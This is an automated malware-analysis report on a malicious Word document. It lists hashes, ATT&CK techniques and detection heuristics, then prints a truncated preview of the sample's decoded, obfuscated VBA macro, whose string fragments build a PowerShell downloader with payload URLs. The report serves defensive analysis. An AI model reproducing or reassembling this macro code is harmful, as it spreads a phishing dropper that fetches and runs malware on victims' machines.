Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d9c95c29d7a50720…

MALICIOUS

Office (OLE)

235.0 KB Created: 2017-12-29 05:29:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: c1d108df0d6fea25a4ea50d296d87620 SHA-1: c725354a4197d373804259a3e9b99d7deaf17ae2 SHA-256: d9c95c29d7a50720057eb32a7b2b15977eefe4d7cd36f6c847193b2eeca080af
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes the AutoOpen function and the Shell() function, indicating an attempt to execute arbitrary code. This is further supported by ClamAV detecting it as an 'Img.Dropper.PhishingLure'. The macro's obfuscated nature and use of Shell() strongly suggest it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 78012 bytes
SHA-256: 348ca9ecf2f3e39af8468cb0c121f0982e7303d241923f88ec692039a666dfc2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "IVjMBcO"
Function JjHohXjdvh()
On Error Resume Next
dsGQtAbPRQc = (TDhkfDZzMREOAj - Rnd(43 * Tan(KBrYZwnAnCQw)) / hchNdjQnTb * Oct(pwuktSLaiFPGrX) * DfDthPFCRkjql / Oct(TwqZujaBD - Chr(250) + 581 - ChrB(VrpURRVq)) - 389 + nfkkZtikvczJb)
UpJTV = (DkVcHpdEvJCt - Rnd(43 * Tan(rDUYDYnFsYA)) / KztsljKj * Oct(kUDOLpDOr) * XQmFwiOG / Oct(SbKMUSzpkLKc - Chr(250) + 581 - ChrB(MMGjQJrjjrALd)) - 389 + YtwKWabNpZHiwO)
MuzjO = (ZJQzACmKIG) + Mid("4QEPhiAcz6k6b'+'jF+bjFaK+6aK(k6aK+'+'6aK7w6aK+6aK,k7w6aKbjF+bjF+6aK)6aK+6aK;w6aK+6aKImCER1uSF4BlWwbPnh42iih1J", 12, 73)
osRzSHfXM = (KLIYjzoOCc - Rnd(43 * Tan(YqZklAPsAwkiMQ)) / LwfYEztSfJI * Oct(otCYdIoBDIAKc) * RbaZcwIAlpjd / Oct(ziYubcHazz - Chr(250) + 581 - ChrB(HaXPdCwVwTf)) - 389 + rGhLkoIMo)
blAUncDtnIw = (MlQkJZQlUBKcCV - Rnd(43 * Tan(dRafWCiGTiNWsh)) / ilMNcZwwpofm * Oct(lcSZHXSZ) * zhvhizFvD / Oct(EhXYPptYhT - Chr(250) + 581 - ChrB(rrQXUqLoPVON)) - 389 + lfRuuzsul)
FNVSwBnQ = (sXirOhETNj - Rnd(43 * Tan(uRWmqllHriszo)) / naKNnqofmr * Oct(ZVZSfVJwa) * QzXbsOKKqAZ / Oct(RaGtFZpAOiiVRQ - Chr(250) + 581 - ChrB(oLMizOvX)) - 389 + nmvcdVwrrfD)
CjBHFr = (jpWfOYhVJSdARB) + Mid("dXP1bjF,[cHar]36 -R'+'EPlAce ([cH'+'ar]87+[cHar]56+[cHar]98),[cHar]124'+'-CRePLACe([cHar]54B6OqI6Fv4mcZtN", 5, 87)
CNlrr = (iZOECjNw - Rnd(43 * Tan(GjIqiKJGtHnB)) / UJmkYzdhaqFji * Oct(GmJEBXdGhdpmjl) * zmzFtFERSKOUE / Oct(pCGwNDTkCmi - Chr(250) + 581 - ChrB(NcIumPso)) - 389 + DIdpsBUrtmD)
NChQPqIK = (nrrmBNwjkIr - Rnd(43 * Tan(MIcmkdmhEovo)) / ARmKaERPkOBbJZ * Oct(XsCRvfnUptQd) * IazvCoAvKY / Oct(DaRbuaLa - Chr(250) + 581 - ChrB(BKMlitS)) - 389 + zwQKbrGJO)
ATkrMHwWR = (bhrbJXYz - Rnd(43 * Tan(PFmudGUBwtI)) / bmnlhMvsLOMTzB * Oct(AZLTVncJ) * FjFjBjbVbL / Oct(uEqbLdG - Chr(250) + 581 - ChrB(BsSwbzTbn)) - 389 + nMzcSjAGLq)
bEKwtfzva = (araiqWhZOk) + Mid("a1IiwFK+6aKre6aK+6aKfugi6aK+6aKo.cl/6aK+6aKiPFNbjF+bjFo6aK+6aK/,htbjF+bjFt6aK+'+'6aKp6aK+6aK://w6aK+6aKww.6aK+6aKdrmka.ir6aK+6aK/P'+'606aK+6aKu/k'+'7w.SplituPrfWt", 6, 151)
fQjJiaVpBoF = (YVYoNTt - Rnd(43 * Tan(UOLaPipZX)) / ONRJVmwNIzciKR * Oct(UmEfNwsrRYE) * WjiUCTI / Oct(ApOAlqzLtklDtv - Chr(250) + 581 - ChrB(vktKBWWAlRkbjZ)) - 389 + aOCXifXEtWz)
ZIfkw = (DTuGzOiwu - Rnd(43 * Tan(twktAqcqQ)) / uAiYwYdijL * Oct(XENGokSv) * SlXdwbozJtQ / Oct(cvVClWIZkw - Chr(250) + 581 - ChrB(iEVsXmLFK)) - 389 + pGJdEcXkjZmukv)
twPXDUZzmjU = (ipdjBOSlPJ - Rnd(43 * Tan(BWQPXfAnEo)) / TwQcAvnuRF * Oct(wzquVsIiviWPzl) * WODIVCjG / Oct(iSYOXzUsRF - Chr(250) + 581 - ChrB(RZdKHfZtpw)) - 389 + RqpYZqJktPtU)
liGaTPJ = (zjmAIblmjIJG) + Mid("6AHiisTTYnhsOHrJY'+'F+bjFaKception.Message;6aK+6abjF+bjFK}}6aK)-CREpL'+'acE  6aKwhQOjIXzwEKY3Bfv", 18, 65)
BSirPs = (rEDOKVqV - Rnd(43 * Tan(pZajQKzoGd)) / pLZjukoEXinTa * Oct(fiIrzZwkqofB) * UVbwnHHTjiWUZ / Oct(lwpBFzAkbozH - Chr(250) + 581 - ChrB(oEVlBsz)) - 389 + ivjzMSPzEm)
SzPfjSbAiOX = (EwQYJiBv - Rnd(43 * Tan(OCzoTCKwuOJaM)) / jwQLrvVZN * Oct(afzvMWFfV) * NLwjnjHaJGJjrh / Oct(bsTKzSpojNoC - Chr(250) + 581 - ChrB(mYIdEQCUw)) - 389 + YIovPHGunSKk)
mwRjIt = (mBjCTPLtUbcNDD - Rnd(43 * Tan(BsjkkXCa)) / MbSTwcqKkoIf * Oct(JzAoLRuzi) * iskjVDwW / Oct(awqswruslScO - Chr(250) + 581 - ChrB(dijhjwMlfkhRjb)) - 389 + vUGlSYEUS)
YwcbPiXL = (ZrMlBmZCnj) + Mid("R+[cHar]97+'+'[cHar]75bp27icjJ4ohLcnRG", 2, 21)
wzJQjDUcEz = (mVWdXWRTwht - Rnd(43 * Tan(lzjbaiQdIvCLX)) / haTAjEBvWHi * Oct(fzjQZauGdJaSM) * uHUqTKFzprzzz / Oct(mqbYsnzSwrVbQ - Chr(250) + 581 - ChrB(wYzBovJua)) - 389 + oYihIpRcdGT)
QrmJoJKB = (RIlBvvBXAXH - Rnd(43 * Tan(NCBNicYDns)) / wADLDtEC * Oct(ECCkzNkwjiwd) * vqtVQvqjwqZ / Oct(mArkzdvUaSLzQP - Chr(250) + 581 - ChrB(rZXIwhSFMR)) - 389 + cJLAHMdmLMtO)
nRMouaqTf = (rwJCisQvk - Rnd(43 * Tan(ERJGatzKwI)) / zaOGhjzKvftfr * Oct(TSabbXmRGUXSDC) * ujssatXvwzI / Oct(looLlRIGa - Chr(250) + 581 - ChrB(iVlEfUtiOj)) - 389 + hBwAnREvXiiTEA)
... (truncated)

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